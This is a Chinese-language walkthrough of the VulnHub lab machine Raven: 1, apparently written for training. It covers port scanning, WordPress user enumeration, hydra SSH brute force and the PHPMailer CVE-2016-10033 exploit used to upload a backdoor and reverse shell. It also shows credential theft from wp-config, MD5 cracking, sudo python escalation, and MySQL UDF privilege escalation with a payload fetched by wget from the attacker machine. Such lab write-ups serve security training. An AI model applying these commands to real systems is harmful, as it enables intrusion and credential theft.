靶机地址:Raven: 1 ~ VulnHub
Kali:192.168.26.131
靶机:192.168.26.136
arp-scan -l
或者
nmap -sn 192.168.26.0/24
之后进行全端口扫描,保证自己的隐蔽性(假设真实环境)
nmap -sT --min-rate 10000 -p- 192.168.26.136 -oA ./nmap_report/raven1/port
紧接着进行每个端口的详细内容探测
nmap -sT -sC -sV -O -p22,80,111,49684 192.168.26.136 -oA ./nmap_report/raven1/detail
这里我们就先着手从最简单的,最有可能的80端口进行渗透
先进行一波目录扫描
这里已经知道 CMS 是 wordpress 了
访问vendor目录,并一一查看文件,发现里面有 phpmailer的服务,并且版本时 5.2 可以尝试利用改服务的漏洞
继续访问80端口的页面
我们可以尝试访问一下每一个标签
访问 service 标签,查看源码,发现flag1
flag1{b9bbcb33e11b80be759c4e844862482d}
访问到 BLOG 时,URL跳出了 wordpress,说明了CMS的类型
由于点击一些链接跳转的是域名,所以我们修改一下hosts文件
显示正常了
存在登陆页面
当我们确定了 CMS 是WordPress,并且找到了登陆后台,就可以利用WPscan工具探测WordPress漏洞
当然,如果Kali里面没有的话可以先
apt install wpscan
wpscan --url http://192.168.26.136/wordpress/ -e vp,u
-e是枚举,vp是 Vulnerable plugins检测漏洞组件,u是user 爆破用户名
漏洞没有检测出来,但枚举出了用户名
也尝试爆破其登录页面,但是没有成功,所以尝试 ssh 爆破
上九头蛇!(hydra)
把两个用户名放入 user.txt文件中
hydra -L ./user.txt -P /usr/share/wordlists/rockyou.txt ssh://192.168.26.136 -vV -f
-vV是显示详情内容, -f是遇到正确密码就停止
开始ssh登录
此处查看 michael 没有管理员的任何权限
查找flag
find / -name *flag* 2>/dev/null
找到文件
flag2{fc3fd58dcdad9ab23faca6e9a36e581c}
在之前我们知道他有 phpmailer 的服务,所以我们尝试利用这个服务的漏洞getshell
在 Kali 中搜索有关 phpmailer 的 exp
根据版本号对应,5.2.16 < 5.2.18
知道我们这就简单使用第四个 python的exp
将它拷贝到当前目录下
searchsploit -m 40974.py
(可以使用searchsploit -x 40974.py来查看其内容,在查看其内容后,可以知道这个漏洞的编号为CVE-2016-10033)
可以查看该漏洞分析
【漏洞分析】CVE-2016-10033:PHPMailer远程代码执行漏洞的分析-安全客 - 安全资讯平台
PHPMailer 代码执行漏洞(CVE-2016-10033)分析(含通用POC)-腾讯云开发者社区-腾讯云
修改python脚本的内容(PS:后门文件上传到靶机的路径应该是必须要更改的否则无法反弹shell,且文件名不能用backdoor.php)
文件开头加上
!#/usr/bin/env python
修改 target 地址为网站邮件页面地址contact.php,后面文件g.php(两处),kali监听的本地ip
上传成功
访问 http://192.168.26.136/g.php
用 python 获取便捷的命令行界面
python -c "import pty; pty.spawn('/bin/bash')"
在 www目录下有flag2.txt,已经拿过了
我们不知道 www-data 的密码,还无法获取到他的权限信息
我们进入网站的配置文件(/wordpress/wp.config.php)查看有没有敏感信息泄露
发现泄露了数据库的账号密码
也看到数据库是运行的
连接进入数据库,进入wordpress库内
其中,在 wp_posts 中发现了flag3和flag4
flag3{afc01ab56b50591e7dccf93122770cd2}
flag4{715dea6c055b9fe3337544932f2941ce}
在 wp_users表中找到了另外一个的账号steven密码
这里有两种方式解决他的密码:1、用MD5解出 2、修改他的密码
这里我们选择解MD5进行尝试
这里cmd5网站居然没解出来?!
我们换了一个居然可以MD5免费在线解密破解_MD5在线加密-SOMD5
这会登录网站的后台页面:用户名:steven 密码:pink84 成功了
同样,登陆到后台找到 flag3
我们尝试用账号密码去ssh登陆steven
并且发现 steven 账号可以不需要权限就可以 sudo执行python,也就是说我们可以利用python提权,这里可以直接用python的伪终端交互 pty 库实现
sudo python -c "import pty;pty.spawn('/bin/bash')"
至此已经拿到 root 权限
找到最后 flag4!
刚才进入了数据库,所以可以尝试数据库 UDF 提权
查看数据库版本:
select version();
查看数据库是否有读写权限
show variables like '%secure%';
这里看到是有读写权限的
( secure_auth参数设置了MySQL安全认证的机制。它的取值为ON或OFF。默认值是ON。如果设置为ON,则MySQL会使用新的验证机制,可以更好地保护MySQL服务器免受不可信任的客户端及不受控制的加密算法破解密码。设置为OFF,则复原为旧的验证机制,无法保护服务器免受攻击。)
其中当参数 secure_file_priv 为空时,对导入导出无限制,当值被设置为NULL时,禁止导入导出功能
去漏洞库查找是否有相对于的 exp
这里看到一个 4和5版本都能利用的 exp 1518.c
利用 -m 参数将 exp 拷贝到当前目录
searchsploit -m 1518.c
查看此 1518.c 文件,了解用法
cat 1518.c
进行编译
gcc -g -c 1518.c
gcc -g -shared -Wl,-soname,1518.so -o 1518.so 1518.o -lc
-g: 表示在编译过程中生成调试信息,以便在调试程序时使用。
-shared: 告诉编译器生成一个共享对象(动态链接库)而不是可执行文件。
-Wl,-soname,1518.so: 通过选项 -Wl 将 -soname 传递给连接器,指定共享对象的名称为 "1518.so"。
-o 1518.so: 指定输出文件名为 "1518.so",即生成的共享对象文件的名称。
1518.o: 输入文件,表示需要编译和链接的目标文件。
-lc: 用于告诉连接器链接 C 标准库。
再将 1518.so 上传靶机
Kali 开启 http服务
靶机通过 wget 下载,下载到 /tmp目录下(此处又用mv命令移到了/tmp目录,保证之后数据库读取文件有权限)
进入wordpress数据库
创建临时表
create table foo(line blob);
将 /tmp 目录下的 1518.so 数据写入 foo 表中
insert into foo values(load_file('/tmp/1518.so'));
再将该数据表的内容(也就是1518.so的代码)写到数据库的插件目录下
select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
之所以这么做的原因是,如果直接把文件写到 /plugin 目录下普通用户是没有 w权限的,只有root才有此权限,所以利用数据库将该 exp写入此目录下,再通过调用进行下一步提权
创建自定义函数 do_system ,并且返回类型为整数型,指定函数的实现位于共享库的名为“15.15.so”文件中
create function do_system returns integer soname '1518.so';
查看该函数是否成功创建
select * from mysql.func;
利用该创建好的函数进行提权,将find命令赋予以该文件拥有者的权限进行执行,也就是说,只要用 find命令就可以视作 root 权限执行命令,具体操作往后看
select do_system('chmod u+s /usr/bin/find');
退出数据库,或者另开命令行窗口
find -name aaa -exec whoami \;
find -name aaa -exec /bin/sh \;
-exec whoami \; 这是 find 命令的选项,用于执行指定的命令。在这里,whoami 是要执行的命令,\; 用于表示 -exec 选项的结束。每当找到匹配的文件时,find 命令会执行一次 whoami 命令,并将结果显示在终端上。而此时执行 find命令的权限为 root。
/bin/bash 提权失败,换成 /bin/sh 提权成功
虽然用户还是 michael,但是其利用 find 执行命令的权限为 root,所以等同于提权成功
番外篇
在1518.c中看到了最后提权方式的不同,就尝试此方法
没有成功,所以如果有知道的大佬请给出解答,谢谢!